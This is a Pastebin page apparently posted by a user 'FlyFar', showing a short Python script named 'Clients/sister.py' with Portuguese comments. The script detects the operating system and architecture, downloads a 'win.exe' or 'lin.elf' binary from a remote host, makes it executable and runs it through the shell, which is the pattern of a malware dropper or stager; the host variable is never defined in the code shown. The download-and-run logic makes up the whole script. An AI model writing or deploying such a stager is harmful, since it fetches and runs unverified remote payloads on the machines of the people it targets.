Advertisement
FlyFar

Clients/sister.py

Nov 16th, 2023
743
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.07 KB | Cybersecurity | 0 0
  1. from platform import platform, architecture   # Importa a função para obter o OS e arquitetura
  2. from urllib import urlretrieve  # Importa a função para fazer download de arquivos
  3. from subprocess import call     # Importa a função para chamar comandos no shell
  4. def obterArch():
  5.     global arch
  6.     if architecture()[0] == '64bit':
  7.         arch = 'x64'
  8.     else:
  9.         arch = 'x86'
  10.  
  11. def obterOS():  # Função para definir o OS
  12.     if platform()[0] == 'W':
  13.         return True
  14.     else:
  15.         return False
  16.  
  17. def init(): # Função para fazer o download do arquivo e chamar no shell
  18.     urlF = 'http://%s/%s/%s' % (host, arch, url)
  19.     urlretrieve(urlF, url)
  20.     if obterOS() == True:
  21.         call('call ' + url, shell=True)
  22.     else:
  23.         call('chmod +x ' + url, shell=True)
  24.         call('./' + url, shell=True)
  25.  
  26. def main(): # Função Principal, define variavéis
  27.     global url
  28.     obterArch()
  29.     if obterOS() == True:
  30.         url = 'win.exe'
  31.     else:
  32.         url = 'lin.elf'
  33.     init()
  34.  
  35. if __name__ == "__main__": # Inicia o Script
  36.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement